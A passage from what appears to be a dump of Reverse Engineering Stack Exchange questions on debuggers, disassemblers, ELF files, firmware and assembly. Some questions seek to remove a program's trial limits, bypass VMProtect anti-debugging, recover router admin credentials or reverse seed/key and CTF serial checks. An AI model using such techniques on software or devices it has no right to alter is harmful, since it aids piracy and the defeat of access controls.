+        ""xor rcx, rbx\n\t""
+        ""add rax, rcx\n\t""
+        );
+}
+
+// compile
+x86_64-w64-mingw32-gcc pgfault.c -masm=intel -o pgfault.exe
+
+// and run in PANDA/QEMU
+
+ +Indeed, I get the trace: + + + +
// first translation block
+0x401510           xor rax, rax    ; first instruction of main
+; second instruction generates a page fault
+
+// second translation block (KiPageFault in ntoskrnl.exe)
+0xfffff80026e4600  push rbx
+0xfffff80026e4601  sub rbp, 0x158
+
+ +The second instructions generates a page fault, then the translation block contains only the first instruction. How can QEMU/PANDA knows that ahead of time (i.e. at translation step)? +" +"['android', 'unpacking', 'deobfuscation', 'networking']"," Title: What is the header 'X-Goog-Spatula'?Body: I am blackboxing an android app to write an API for it. Many of the HTTP requests sent include a mysterious header with the name X-Goog-Spatula. If I do not include this structure, the request is not successful due to 'being unauthenticated', however I can find no information on the internet as to what it is or what it does, and I feel uncomfortable about adding the existing values I've recorded so far to the public client API, because I do not want to ship an API that could either expire in the future, or accidentally expose secrets that I shouldn't. Likewise for the same reason I won't be including actual data here (Unless anyone here can provide good arguments as to why it should be included). + +Inspection of the structure so far as concluded that it is a base64-encoded protobuf structure, which contains several mystery values, that are as-yet unknown. An outline of the structure is: + +
{
+  ""string"": {
+    <name of app>,
+    <20 byte base64-encoded string>
+  },
+  ""string"": {
+    <32 byte string>,
+  },
+  ""variant"": <9 byte number>,
+  ""variant"": <9 byte number>,
+  ""string"": {
+    <89 byte string>
+  }
+}
+
+ +As I stated earlier, I can find no references on the internet to it, aside from these (all on Github): + + + +Does anyone have any documentation on this, an idea of what it is, or alternatively, what can I do to find out what it is? +" +['firmware-analysis']," Title: Extract/Repack EEPROM DumpBody: I want to get more information from this dump I have: + +http://s000.tinyupload.com/index.php?file_id=42095249658483515063 + +
binwalk dump.bin
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+56368         0xDC30          U-Boot version string, ""U-Boot 1.1.4-2  (Jun 10 2016)""
+56400         0xDC50          CRC32 polynomial table, big endian
+65536         0x10000         uImage header, header size: 64 bytes, header CRC: 0x4FD6C064, created: 2016-10-12 09:53:26, image size: 3729430 bytes, Data Address: 0x80060000, Entry Point: 0x80064CE0, data CRC: 0x6B3A6FD3, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: ""runtime""
+65600         0x10040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 12767476 bytes
+
+ +I already used binwalk -Me dump.bin and got _10040.extracted/cpio-root/ with the main content. But it looks somehow incomplete. + +After reading around in the files eg init I see, that there are multiple mtd ""partitions"" which would be nice to separate them from the dump. I hope that it will help me to understand the firmware and how update process works. + +Also I found in the hexdump some PRIVATE information about the device like device_pass, device_wpapass and so on, which I replaced all with a 1. But it is also niceto know where this information's are stored on the device to see how they are queried. + +The problem for me is to separate all partitions/information from this dump. At least I want to see, if it is possible to disconnect the device from the cloud and only use it locally - but it looks like the firmware builds only a connection between the interface (connected to the heater) and the cloud server - so all logic is on the cloud. + +Maybe it is possible to mod the firmware with a remote shell or make a MITM possible to investigate on runtime state. +" +['radare2']," Title: Seek to value stored in memory in radare2Body: Using radare2, I am reverse engineering a custom language interpreter. It stores compiled functions as a list of pointers to language primitives. I would like to seek to these locations, but typing in the hex addresses is very frustrating. I can't seem to find any syntax for saying ""seek to the address stored at the current location"". + +E.g., say I am looking at the following in visual mode: + +
; UNKNOWN XREFS from entry0 @ 0x400382, 0x400384
+; UNKNOWN XREF from entry0 @ +0x82
+;-- section..text:
+0x004000b0      .qword 0x00000000004002f3 ; aav.0x004002f3    ; [01] -r-x section size 736 named .text
+0x004000b8      .qword 0x0000000000000064
+0x004000c0      .qword 0x0000000000400301 ; aav.0x00400301
+0x004000c8      .qword 0x000000000040032e ; aav.0x0040032e
+0x004000d0      .qword 0x000000000040030c ; aav.0x0040030c
+. . .
+
+ +The ""current location"" is at 0x004000b0, and it stores the value 0x4002f3, which is where I'd like to seek. For now, I have to type g followed by reading and typing out, or selecting and pasting, the address 0x4002f3. + +Is there some efficient way to say ""seek to the value stored at $$""? +" +"['disassembly', 'assembly', 'shellcode']"," Title: Shellcode not working correctlyBody: I wrote a small program in assembly which is supposed to print ""AAAA"". It works fine when I run it directly, but when I run it as a shellcode in a c program, it doesn't work. Please help. + +Here is the assembly code: + + +When I compile and execute the following code: + +
char shellcode[] = {0x31,0xc0,0xb0,0x04,0x31,0xdb,0xb3,0x01,0x68,0x41,0x41,0x41,0x41,0x89,0xe1,0x31,0xd2,0xb2,0x04,0xcd,0x80,0x31,0xc0,0xb0,0x01,0x31,0xdb,0xb3,0x01,0xcd,0x80};
+int main(){
+        (*(void(*)())shellcode)();
+        return 0;
+}
+
+ +Compiled as: + +
$gcc -g -Wall -fno-stack-protector -z execstack code.c -o code
+
+ +Execution: + +
$./code
+$
+
+" +['encryption']," Title: RE Huawei HG8145V5 user credentialsBody: I have Huawei HG8145V5 and I backed up config file which contains encrypted root and admin credentials, but I dont know how they are encrypted. Here is an example of one password + +
$2*FuHXY&lt;y5$VJl(9f^9z%7;vR%K;84JG$.&amp;O`qM17$
+
+ +Can anyone identify which algo is used ? +" +"['firmware', 'firmware-analysis']"," Title: Approaches to detect (compressed) audio in firmwareBody: Edit: The audio data is on a separate IC + +
+ +There are a few seconds of audio in a toy's 128 kB firmware - somewhere... + +Here is a downsampled look at the bits (white = 1): + + + +My beginner's attempts to analyse the disassembly in order to find the audio data blocks have not been successful so far. There appear to be sections that are visually different, although it's not something very obvious. Trying the different raw audio import options in Audacity only results in ""noise"". + +I am assuming a (simple?) compression scheme is in use, so maybe RLE, DPCM or even ADPCM. + +My guess is that the areas that do not show the byte boundary (LSB/MSB set = white) as clearly (=higher bit frequency?) are worth a closer look. + +I am going to try to gather information about the audio resolution and rate by analysing the audio output, to help get an estimate of what I am looking for. + +A few ideas on how to proceed: + +Finding data (as opposed to code) from program analysis: + + + +Finding audio data directly by: + + + +Working with a debugger: + + + +But all of these require a lot of legwork and more background knowledge than I currently have, so the outlook is rather limited.. + +What other approaches to finding data in firmware should I consider? +" +"['c++', 'ghidra']"," Title: Ghidra can't see basic functions in my files?Body: I made a simple program in C++ using Visual Studio 2019 to learn. When I open the file with Ghidra, it doesn't seem to detect my functions and I don't know what I'm doing wrong. + +My program is simple: + +
#include <iostream>
+
+void someFunction()
+{
+    printf(""im scared world, i dont understand.\n"");
+}
+
+int main()
+{
+    std::cout << ""hello world"" << '\n';
+
+    someFunction();
+
+    system(""pause"");
+
+    return 0;
+}
+
+ +Yet the main function looks like this in Ghidra: + +
int __cdecl _main(int _Argc,char **_Argv,char **_Env)
+
+{
+  char cVar1;
+  char *unaff_EBP;
+  basic_ostream<char,struct_std::char_traits<char>_> *in_stack_fffffff8;
+
+  cVar1 = (char)unaff_EBP;
+  operator<<<struct_std::char_traits<char>_>(in_stack_fffffff8,unaff_EBP);
+  operator<<<struct_std::char_traits<char>_>(in_stack_fffffff8,cVar1);
+                    /* Symbol Ref: No symbol: someFunction */
+  _printf(""im scared world, i dont understand.\n"");
+  system(""pause"");
+  return 0;
+}
+
+ +As you can see, where my function should be, it instead shows + +
/* Symbol Ref: No symbol: someFunction */
+
+ +Why? What can I do to fix this? +" +"['disassembly', 'radare2', 'rom']"," Title: Getting radare2 to load z80 binaries properlyBody: I'm trying to disassemble some Sega Master System roms. + +In order to do so, I've checked for the extra 512 bytes from old roms and once I was sure they weren't there, I proceeded to run radare2 on one of them, like so: + +r2 -A somerom.sms + +Radare2 correctly detects the file signature and loads it as z80 code, however when I go into visual mode, it shows the instructions as byte wide offsets (adding a lot of garbage instructions at each invalid address) but the z80 pc has 2 bytes wide steps/instructions. + +My question would be: Is there a way to filter those extra addresses so the code can be displayed correctly? + +I've tried using: + +r2 -A -b 16 somerom.sms + +but it doesn't change anything. +" +"['ida', 'anti-debugging', 'patch-reversing']"," Title: Pe file Vmp0 vmp1 section,Body: I have a PE file with section vmp0 vmp1, possible protected with VMProtect. I am using local debugger in IDA pro, the program will detect the debugger and pop-up an message box and quit , I used the break point on user32.MessageBoxW, the debugger will break, but I have hard time to find out which part of the disassembly code calling the function , would you please help me so that I can bypass what ever the program is checking.? I am struggling for a while. +" +"['binary-analysis', 'static-analysis', 'libc']"," Title: Locating Exit/Abort Functions from Static AnalysisBody: Similar to this question, I'm interested in locating exit and abort style functions in a firmware - any function call that in fact terminates the execution, by statically analyzing the firmware. + +My firmware is arm-cortex-M based. + +Any ideas how can I find it? +" +"['disassembly', 'windows', 'assembly', 'x86', 'pe']"," Title: Adding a static variable to Windows DLLBody: I'm trying to patch a function in a Windows x86 DLL, however it turned out that I need a static variable to store some state that wasn't correctly preserved by the original executable across calls. +I know that typically a static variable is stored in the .data segment or in the .bss segment, and the PE file headers SizeOf(Un)InitializedData. However, I'm having a hard time finding out how to write the address of the added space in x86 assembly. Basically, I'm assuming that it would be something like mov eax, dword ptr ds:[??], but I don't know what ?? I should put there. +The other way around would be to hack and re-use some memory area inside .data segment that hopefully isn't actually used. I tried to do this by looking at the Memory layout tab in x32dbg and finding the .data segment address of the loaded DLL, then taking the address of somewhere near the end. This approach would work for seconds and the memory was indeed written, but the program crashes shortly afterwards due to some exception in RtlFreeHeap(), which I'm also confused about because I supposed it's the .data segment, not the heap. +Could someone help me understand how to do this? +" +['assembly']," Title: How to calculate Opcode Length from OllydbgBody: Suppose I reverse a dll, and searching for a Function, say for instance Send(), I have reversed the ws2_32.dll now How Can i calculate the number of bytes from there to know that i need 5 bytes of instruction using say ollydbg or immunity debugger?? + +I am very new to this and I do not want to use a disassembly library like Minhook and Microsoft Detours. Just something done manually. +" +"['firmware', 'hardware', 'embedded', 'serial-communication']"," Title: Can a secondary UART be used to access the MCU?Body: I have a gamepad with a Chinese ShanWan BM-729 SWQP179 22 MCU which is most likely a clone but i didn't manage to find any info on it. +The board is also lacking information like serial pins and the only, i've also tried the EEPROM which returned random characters (translated from chinese characters). +I've ran through the PCB and was not able to find any decent pins i could use to access the MCU other than a UART connection between the MCU and the bluetooth chip, so i was wondering if it would be possible to get info from the MCU through this serial pins? + +I'm posting the picture for perspective + + +" +"['ollydbg', 'x64dbg', 'patching']"," Title: Patched Application causes Acces Violation c0000005Body: I've been working with this application to remove it's trial limitations. +But every byte I change, it throws an acces violation. + +Piece of the code: + +Original: + +
003354C6 - 0F85 D3000000         - jne 0033559F
+00EA54CC - FF 87 54050000        - inc [edi+00000554]
+00EA54D2 - 83 BF 54050000 0A     - cmp dword ptr [edi+00000554],0A { 10 }
+003354D9 - 0F82 C0000000         - jb 0033559F
+003354DF - 6A 00                 - push 00 { 0 }
+
+ +Patched + +
003354D2 - 83 BF 54050000 0F     - cmp dword ptr [edi+00000554],0F { 15 }
+
+ +Nothing else is changed. +Now the program does run, but after ~4 seconds it crashes. + +When running through x64dbg it catches the exception, but I don't know what to do with it. + + +And run just normally it gives this + + +Any help, tips would be appreciated! +" +"['assembly', 'x86-64']"," Title: Help understanding MOVSXDBody: I've tried reading the documentation but the functionality of this instruction is still cloudy to me. For an example, I would like to know what is stored in RDX after these instructions: + +
mov    edx, 0x26d1
+mov    eax, 0x40d
+add    eax, edx
+movsxd rdx, eax
+
+ +Personally, I think it is 0x0000000000002ade because I don't think the signed bit at bit position 31 was present in eax at the time. (If that makes any sense?) Any help would be appreciated and maybe an explanation that doesn't leave me confused would be awesome as well :) Thanks and have a good day! +" +['ghidra']," Title: Convert .cpu / .opc to sleighBody: Is there a tool to automatically convert binutils cpu definitions (.cpu / .opc files) to sleigh for use in Ghidra? ... or do I need to hand craft a cpu definition for Synopsys DesignWare ARC 625D? +" +['c#']," Title: How can I have a breakpoint once a value changes in DnSpy?Body: I am trying to track a certain value in a game to analyze the cause of a crash (basically, it goes to null at one point and I would like to know what exactly puts that to null as it causes issues later on). I am relatively a beginner in C# reversing as well as using DnSpy, but I couldn't find an exact way to do so leading me to believe either the feature isn't possible or if it is, I am unaware of it. + +My goal is to be informed of where exactly it puts it to null with preferably a stacktrace. The best I was able to do was to breakpoint a bunch and hope for the best, but I quickly realised this is very inefficient and there has to be a better way to do this. + +If it isn't possible in DnSpy itself, can I use other tools to accomplish the same thing? + +If it helps, it's a Unity game which I replaced its mono dll so the DnSpy debugger works, but it can only put breakpoints in the code, not break whenever something changes at all. I can see the value in the watcher, but that's not enough. +" +['debugging']," Title: Seed/Key Constant ValueBody: I am trying to reverse a seed/key algorithm that has a constant value inside it. and there is different const value for different device that use this algorithm. +i can give some sample from each device so i have seed/key of devices. +the algorithm is : + +
int SeedKey_Algorithm(int seed){ // sample input: 0x01010101
+for (int i = 0; i < 0x23; i++)
+{
+    if ((seed & 0x80000000) == 0x80000000)
+    {
+        seed = ( x ^ seed); // x is constant value
+    }
+    seed = seed << 1;
+}
+return seed;
+//out = 0xFFAA5550
+}
+
+ +then if when inject the 0x01010101 as input we get 0xFFAA5550 as output. +so how i can find this constant value. +is there any mathematics algorithm for find it? +is it needed more sample for reverse this? + +UPDATE
+so i check another device that work with this algorithm and i find 12 true value for 0x01010101.
+0x0d7c76ff, + 0x1049164d, + 0x37749eba, + 0x6071e476, + 0x6cced1e7, + 0x7657a4aa, + 0x8d7c76ff, + 0x9049164d, + 0xb7749eba, + 0xe071e476, + 0xecced1e7, + 0xf657a4aa + +but for 0x02020202 i can't find any right value :(
+is this possible? or I made a mistake? +" +"['elf', 'symbols', 'gcc']"," Title: GCC is not recognizing symbol table in my hand-made ELF fileBody: For learning purposes I've created (using a hex editor and some macros) the following ELF file: + +
hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
+
+ +xxd hello.o: + +
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
+00000010: 0100 3e00 0100 0000 0000 0000 0000 0000  ..>.............
+00000020: 0000 0000 0000 0000 4000 0000 0000 0000  ........@.......
+00000030: 0000 0000 4000 3800 0000 4000 0400 0300  ....@.8...@.....
+00000040: 0c00 0000 0300 0000 2000 0000 0000 0000  ........ .......
+00000050: 0000 0000 0000 0000 4001 0000 0000 0000  ........@.......
+00000060: 0600 0000 0000 0000 0000 0000 0000 0000  ................
+00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+00000080: 0600 0000 0100 0000 2200 0000 0000 0000  ........"".......
+00000090: 0000 0000 0000 0000 4601 0000 0000 0000  ........F.......
+000000a0: 0e00 0000 0000 0000 0000 0000 0000 0000  ................
+000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+000000c0: 1400 0000 0200 0000 2000 0000 0000 0000  ........ .......
+000000d0: 0000 0000 0000 0000 5401 0000 0000 0000  ........T.......
+000000e0: 1800 0000 0000 0000 0300 0000 0000 0000  ................
+000000f0: 0000 0000 0000 0000 1800 0000 0000 0000  ................
+00000100: 1c00 0000 0300 0000 2000 0000 0000 0000  ........ .......
+00000110: 0000 0000 0000 0000 6c01 0000 0000 0000  ........l.......
+00000120: 2600 0000 0000 0000 0000 0000 0000 0000  &...............
+00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+00000140: 6865 6c6c 6f00 4865 6c6c 6f2c 2077 6f72  hello.Hello, wor
+00000150: 6c64 2100 0000 0000 1100 0100 0000 0000  ld!.............
+00000160: 0000 0000 0e00 0000 0000 0000 6865 6c6c  ............hell
+00000170: 6f00 2e64 6174 6100 2e73 7472 7461 6200  o..data..strtab.
+00000180: 2e73 796d 7461 6200 2e73 6873 7472 7461  .symtab..shstrta
+00000190: 6200                                     b.
+
+ +I wish to link it together with a C program (main.c): + +
#include <stdio.h>
+
+extern char hello[];
+
+int main() {
+    printf(""%s\n"", hello);
+    return 0;
+}
+
+ +However, running gcc main.o hello.o shows an error: + +
/usr/bin/ld: main.o: in function `main':
+main.c:(.text+0x7): undefined reference to `hello'
+collect2: error: ld returned 1 exit status
+
+ +readelf -s hello.o: + +
Symbol table '.symtab' contains 1 entry:
+   Num:    Value          Size Type    Bind   Vis      Ndx Name
+     0: 0000000000000000    14 OBJECT  GLOBAL DEFAULT    1 hello
+
+ +(readelf output is similar to object files created by GCC) + +Why doesn't GCC accept my created object file? +" +"['elf', 'file-format', 'executable']"," Title: Can ""missing section headers"" ELF files still be executed/dangerous?Body: On VirusTotal, there are lots of ELF samples are missing section headers when using file command to see the info. + +Also, when using the Python elftools library to parse them, exceptions will be thrown. + +Can these kinds of ELF files still be executed or dangerous? +If so, what's the best way to parse them? + +Example: +https://www.virustotal.com/gui/file/7096d1deb8a097b25a74cb2b72009dc37430180b53725e1bec4d18be5856f139/detection +(This is not a good example as it's a "".so"" file.) + +
+ +Add the real output: + +readelf -h: + +
ELF Header:
+  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
+  Class:                             ELF32
+  Data:                              2's complement, big endian
+  Version:                           1 (current)
+  OS/ABI:                            UNIX - System V
+  ABI Version:                       0
+  Type:                              EXEC (Executable file)
+  Machine:                           IBM S/390
+  Version:                           0x1
+  Entry point address:               0x403650
+  Start of program headers:          52 (bytes into file)
+  Start of section headers:          1090000 (bytes into file)
+  Flags:                             0x0
+  Size of this header:               52 (bytes)
+  Size of program headers:           32 (bytes)
+  Number of program headers:         8
+  Size of section headers:           40 (bytes)
+  Number of section headers:         27
+  Section header string table index: 26
+readelf: Error: Reading 0x438 bytes extends past end of file for section headers
+
+ +readelf -l: + +
readelf: Error: Reading 0x438 bytes extends past end of file for section headers
+
+Elf file type is EXEC (Executable file)
+Entry point 0x403650
+There are 8 program headers, starting at offset 52
+
+Program Headers:
+  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
+  PHDR           0x000034 0x00400034 0x00400034 0x00100 0x00100 R E 0x4
+  INTERP         0x000134 0x00400134 0x00400134 0x0000d 0x0000d R   0x1
+  [Requesting program interpreter: /lib/ld.so.1]
+  LOAD           0x000000 0x00400000 0x00400000 0xd7c70 0xd7c70 R E 0x1000
+  LOAD           0x0d7c70 0x004d8c70 0x004d8c70 0x2da34 0x3167c RW  0x1000
+  DYNAMIC        0x1052a8 0x005062a8 0x005062a8 0x000e0 0x000e0 RW  0x4
+  NOTE           0x000144 0x00400144 0x00400144 0x00020 0x00020 R   0x4
+  GNU_EH_FRAME   0x0d7b7c 0x004d7b7c 0x004d7b7c 0x0002c 0x0002c R   0x4
+  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
+
+" +"['debugging', 'decryption']"," Title: Key Algorithm ReverseBody: I am trying to reverse a Seed/Key algorithm. i have some sample and knowledge about it, for example i know this algorithm work with only ""xor"" and ""shift"" operations. +some sample shown in below: + + seed key + --------- ---------- + 0x01010101 0xDFBB4565 + 0x02020202 0x21028781 + 0x02010101 0xB1C7ED2B + 0x08010101 0xFB9718DE + +is this enough for reverse this algorithm? +according to the this Question i know this algorithm will be must like each other but i dont know what is difference between them. +how i can reverse this algorithm and how i can reverse anything like this? +" +['radare2']," Title: Add indirect branch target reference manually (xref, crossreference) in Cutter (radare2)?Body: How can I create a reference for an indirect branch instruction + +
blx r0
+
+ +so that the call to the address stored in r0 shows up in the graph? + +I've tried flagging the target (function), but that does not get picked up automatically. +Do I need to re-start analysis for the function somehow (how?)? +" +"['kernel-mode', 'segmentation', 'intel']"," Title: Why base address of GDT(global descriptor table) differ in intel x64 processor?Body: I have created a simple linux kernel module to get the base address of GDT table: +
+ +
#include <linux/init.h>
+#include <linux/module.h>
+#include <linux/const.h>
+#include <linux/errno.h>
+
+// try changing segment selector to  null 3.4.2
+// try swapg in 64 bit 3.4.4
+
+
+static inline uint64_t get_gdt_base1(void)
+{
+    struct desc_ptr gdt;
+    __asm__ __volatile__(""sgdt %[gdt]""
+                 : /* output */ [gdt]""=m""(gdt));
+    return gdt.address;
+}
+
+
+int __init start_init(void)
+{
+
+    uint64_t gdt_base = get_gdt_base1();
+    printk(KERN_INFO ""Address of gdt is %llx\n"", (long long)gdt_base);
+}
+
+static void __exit end_exit(void)
+{
+    printk(KERN_INFO ""Unloading the driver\n"");
+    return;
+}
+
+module_init(start_init);
+module_exit(end_exit);
+
+
+MODULE_LICENSE(""GPL V3"");
+MODULE_AUTHOR(""Shubham Dubey"");
+MODULE_DESCRIPTION(""CRO register "");
+
+ +
+When I have loaded and unloaded the module few times. The output that I am getting are as follows:
+1st run: Address of gdt is ffff88024f249000
+2nd run: Address of gdt is ffff88024f2c9000
+3rd run: Address of gdt is ffff88024f249000
+4th run: Address of gdt is ffff88024f2c9000
+...
+... + +Technically, the GDT base should be constant. But I am receiving two different address which isn't the normal behavior. +Can anyone have a good explanation for this? + +PS: Running debian in 64 bit intel processor +" +"['decompilation', 'android', 'java']"," Title: JEB Decompiler - Signature recognition engineBody: I've been playing around with the JEB decompiler and Android reverse engineering suite. One interesting feature they have is deobfuscation by library code matching in which 3rd party libraries out there (written in Java) which have been obfuscated are recognized and matched with the original library names. + +However, the plugin allows custom parameters to fine tune the accuracy of detection +. I still cant wrap my head around and understand how the option and parameters work? Could any Java language experts explain and give examples? Im using JEB 3.7 + + +" +"['disassembly', 'radare2', 'arm', 'shared-object']"," Title: Reverse engineer .so file from android app with radare2Body: I have a .so file from an android app, and I know how to list all functions in IDA Pro. + +How can I do this with radare2? +" +"['debugging', 'uefi']"," Title: Debugging UEFI with real hardware?Body: New to this so here we go. I want to reverse engineer a x86-64 desktop UEFI to add hardware support. + +Since I have the actual hardware available, are there debug interfaces that run via actual hardware & would produce a better output than say...working through HexRays or OllyDbg? + +Along similar lines, are there debuggers than can be fed useful information about the system being emulated? In the case of a UEFI, I'm thinking chipset information, where graphics are coming from, connected components, types of ports, etc. + +Thanks. +" +"['assembly', 'x86-64', 'asm', 'pointer', 'nasm']"," Title: What is the difference between MOV and LEA in example?Body: Looking at an assembly code snippet I see: + +
lea rax, [rbp-0x50]
+
+ +Which tells me that the rax register now points to whatever value is in rbp-hex(50). + +Question. Would I achieve the same result doing this? : + +
mov rax, dword ptr [rbp-0x50]
+
+ +If so, what is the need for the lea instruction anyways? + +Thank you for your patience as I am diving into 64b assembler. +" +"['ida', 'decompress']"," Title: Is there a way to identify compression algorithm used in exe file?Body: I'm trying to find a compression method used in executable file. I tried decompiling it with IDA Pro found a pseudocode of decompression but couldn't compile and use it in my program. + +Here's pseudocode: + + + +
char __cdecl decompress(char *buffer, int a2 /* a2 argument is always 0x989680 */)
+{
+  unsigned __int8 v2; // al
+  unsigned __int8 v3; // al
+  unsigned __int8 v4; // al
+  unsigned __int8 v5; // al
+  FILE *v6; // eax
+  char *v7; // esi
+  int v8; // edi
+  char v9; // al
+  char v10; // bl
+  int v11; // ebx
+  int v12; // ebx
+  int v13; // ebx
+  int v14; // ebx
+  char v16; // [esp+12h] [ebp-Ah]
+  char v17; // [esp+13h] [ebp-9h]
+  int v18; // [esp+14h] [ebp-8h]
+  int v19; // [esp+14h] [ebp-8h]
+  int v20; // [esp+14h] [ebp-8h]
+  int v21; // [esp+14h] [ebp-8h]
+  int v22; // [esp+14h] [ebp-8h]
+  int v23; // [esp+18h] [ebp-4h]
+
+  --tempFile->_cnt;
+  v23 = 0;
+  if ( tempFile->_cnt < 0 )
+    v2 = _filbuf(tempFile);
+  else
+    v2 = *tempFile->_ptr++;
+  --tempFile->_cnt;
+  v18 = v2 << 24;
+  if ( tempFile->_cnt < 0 )
+    v3 = _filbuf(tempFile);
+  else
+    v3 = *tempFile->_ptr++;
+  --tempFile->_cnt;
+  v19 = (v3 << 16) + v18;
+  if ( tempFile->_cnt < 0 )
+    v4 = _filbuf(tempFile);
+  else
+    v4 = *tempFile->_ptr++;
+  --tempFile->_cnt;
+  v20 = (v4 << 8) + v19;
+  if ( tempFile->_cnt < 0 )
+    v5 = _filbuf(tempFile);
+  else
+    v5 = *tempFile->_ptr++;
+  v21 = v5 + v20;
+  if ( --tempFile->_cnt < 0 )
+    v17 = _filbuf(tempFile);
+  else
+    v17 = *tempFile->_ptr++;
+  --tempFile->_cnt;
+  LOBYTE(v6) = (_BYTE)tempFile;
+  if ( tempFile->_cnt < 0 )
+  {
+    LOBYTE(v6) = _filbuf(tempFile);
+    v16 = (char)v6;
+  }
+  else
+  {
+    v16 = *tempFile->_ptr++;
+  }
+  v22 = v21 - 10;
+  if ( v22 <= 0 )
+    return (char)v6;
+  v7 = buffer;
+  v8 = a2; // a2 used here
+  while ( 1 )
+  {
+    if ( !(v23 % 2000) )
+      sub_48F780(); // ignore this line
+    ++v23;
+    if ( --tempFile->_cnt < 0 )
+      v9 = _filbuf(tempFile);
+    else
+      v9 = *tempFile->_ptr++;
+    --v22;
+    v10 = v9;
+    v6 = (FILE *)(v9 & 0xC0);
+    if ( v6 == (FILE *)192 )
+    {
+      v11 = v10 & 0x3F;
+      if ( v11 >= 0 )
+      {
+        while ( 1 )
+        {
+          if ( --tempFile->_cnt < 0 )
+          {
+            LOBYTE(v6) = _filbuf(tempFile);
+            *v7 = (char)v6;
+          }
+          else
+          {
+            *v7 = *tempFile->_ptr;
+            v6 = tempFile;
+            ++v6->_ptr;
+          }
+          ++v7;
+          if ( !--v8 )
+            return (char)v6;
+          --v22;
+          if ( --v11 < 0 )
+            goto LABEL_50;
+        }
+      }
+      goto LABEL_50;
+    }
+    if ( v6 == (FILE *)128 )
+    {
+      v12 = v10 & 0x3F;
+      if ( v12 >= 0 )
+      {
+        while ( 1 )
+        {
+          LOBYTE(v6) = v16;
+          ++v7;
+          --v8;
+          *(v7 - 1) = v16;
+          if ( !v8 )
+            return (char)v6;
+          if ( --v12 < 0 )
+            goto LABEL_50;
+        }
+      }
+      goto LABEL_50;
+    }
+    if ( v6 != (FILE *)64 )
+      break;
+    v13 = v10 & 0x3F;
+    if ( v13 >= 0 )
+    {
+      do
+      {
+        LOBYTE(v6) = v17;
+        ++v7;
+        --v8;
+        *(v7 - 1) = v17;
+        if ( !v8 )
+          return (char)v6;
+      }
+      while ( --v13 >= 0 );
+    }
+LABEL_50:
+    if ( v22 <= 0 )
+      return (char)v6;
+  }
+  v14 = v10 & 0x3F;
+  if ( --tempFile->_cnt < 0 )
+    LOBYTE(v6) = _filbuf(tempFile);
+  else
+    LOBYTE(v6) = *tempFile->_ptr++;
+  --v22;
+  if ( v14 < 0 )
+    goto LABEL_50;
+  while ( 1 )
+  {
+    *v7++ = (char)v6;
+    if ( !--v8 )
+      return (char)v6;
+    if ( --v14 < 0 )
+      goto LABEL_50;
+  }
+}
+
+ +Also I tried signsrch, but it didn't really help. It says: + +
0055ad05 3051 compression algorithm seen in the game DreamKiller [32.be.12&]
+0055ad08 3050 compression algorithm seen in the game DreamKiller [32.le.12&]
+
+ +Is there a way to compile this pseudocode and use it in my program? + +Maybe there's a tool that can determine algorithm by comparing input and output streams? +" +"['windows-10', 'dnspy']"," Title: Is there a tool to reverse engineer UWP apps, similar to dnSpy for .NET?Body: I've been long fascinated with dnSpy and how easily it can reverse engineer .NET apps into a readable C#. So I was wondering if there's a similar tool to RE Windows 10 UWP apps? + +For instance, I tried Microsoft Settings app from C:\Program Files\WindowsApps\Microsoft.WindowsStore_12002.1001.1.0_x64__8wekyb3d8bbwe\WinStore.App.exe in dnSpy and it only gave me basic PE structure: + + +" +['binary']," Title: signed and unsigned integers as bits in memoryBody: I am looking into making a memory scanner for values an while doing some research I came across this the piece of information that unsigned integers allocate all 8 bits for the number while signed ones save the first bit for the sign + +My question is, how can I distinguish between them in memory? + +I can interpret the number both ways, but how could I tell if it was meant to be negative or positive? +" +"['ida', 'c++', 'c']"," Title: Hash from pseudocodeBody: What is the hash? Generated from ida pro + +
int __fastcall hash(_BYTE *a1)
+{
+  _BYTE *v1; // r4@1
+  int v2; // r5@1
+  int v3; // r6@1
+
+  v1 = a1;
+  v2 = 0;
+  v3 = 1;
+  while ( *v1 )
+  {
+    v3 = (*v1 + v3) % 51407;
+    v2 = (v3 + v2) % 51407;
+    ++v1;
+  }
+  return ~(v3 | (v2 << 16));
+}
+
+" +"['ida', 'arm', 'shared-object']"," Title: IDA Freeware 7.0 disassemble ARM .so fileBody: I have a .so file from an android app, and I want to disassemble it with IDA. However I get the error: +The processor type 'arm' is not included in the installed version of IDA. + +IDA Version: Freeware 7.0
+OS: Windows 10 + +Can the freeware 7.0 just not disassemble arm files? If not, what is a suitable alternative that actually works properly and displays a nice function table etc.? +Thanks! +" +"['elf', 'ghidra']"," Title: Conditional to check bytes against user input [ELF 32-bit]Body: I'm trying to understand the following snippet code from a CTF binary. It is part of an ELF 32-bit and I decompiled it with Ghidra. + +
undefined4 check_serial(char *code)
+
+{
+  size_t sVar1;
+  undefined4 uVar2;
+  int in_GS_OFFSET;
+  int iterator;
+  byte correct_code [16];
+  int local_10;
+
+  local_10 = *(int *)(in_GS_OFFSET + 0x14);
+  correct_code[0] = 0x27;
+  correct_code[1] = 0x31;
+  correct_code[2] = 0x20;
+  correct_code[3] = 0x1c;
+  correct_code[4] = 0x1a;
+  correct_code[5] = 8;
+  correct_code[6] = 4;
+  correct_code[7] = 0x18;
+  correct_code[8] = 0x5c;
+  correct_code[9] = 0;
+  correct_code[10] = 0x31;
+  correct_code[11] = 0x18;
+  correct_code[12] = 0x44;
+  correct_code[13] = 3;
+  correct_code[14] = 0x17;
+  correct_code[15] = 0xe;
+  sVar1 = strlen(code);
+  if (sVar1 == 0x10) {
+    iterator = 0;
+    while (iterator < 0x10) {
+      if ((uint)(byte)((char)iterator + 100U ^ correct_code[iterator]) != (int)code[iterator]) {
+        uVar2 = 0;
+        goto LAB_08048aca;
+      }
+      iterator = iterator + 1;
+    }
+    uVar2 = 1;
+  }
+  else {
+    uVar2 = 0;
+  }
+
+ +I've already renamed some variables to make the code more clear. +I have to find the correct serial that will give me the flag. However, I don't understand the following instruction: + +
